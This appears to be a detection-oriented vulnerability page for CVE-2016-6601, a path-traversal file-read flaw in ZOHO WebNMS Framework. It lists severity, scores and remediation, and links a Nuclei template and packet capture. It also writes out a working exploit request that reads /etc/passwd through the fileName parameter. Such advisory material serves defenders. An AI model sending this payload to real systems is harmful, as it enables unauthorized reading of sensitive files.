🔙 목록으로 돌아가기

CVE-2016-6601: ZOHO WebNMS Framework <5.2 SP1 - Local File Inclusion

TitleZOHO WebNMS Framework <5.2 SP1 - Local File Inclusion
Author0x_Akoko
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could lead to unauthorized access to sensitive information, remote code execution, or complete compromise of the affected system.
RemediationUpgrade to ZOHO WebNMS Framework version 5.2 SP1 or later to mitigate this vulnerability.
CVSS Score7.5
EPSS Score0.9278
CVE IDCVE-2016-6601
CWE IDCWE-22
Tags cve2016 cve edb zoho lfi webnms zohocorp vuln

🔍 Vulnerability Description

ZOHO WebNMS Framework before version 5.2 SP1 is vulnerable local file inclusion which allows an attacker to read arbitrary files via a .. (dot dot) in the fileName parameter to servlets/FetchFile.

🌐 HTTP Request

GET /servlets/FetchFile?fileName=../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2016/CVE-2016-6601.yaml

🦈 Packet Capture: ⬇️ Download cve-2016-6601.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A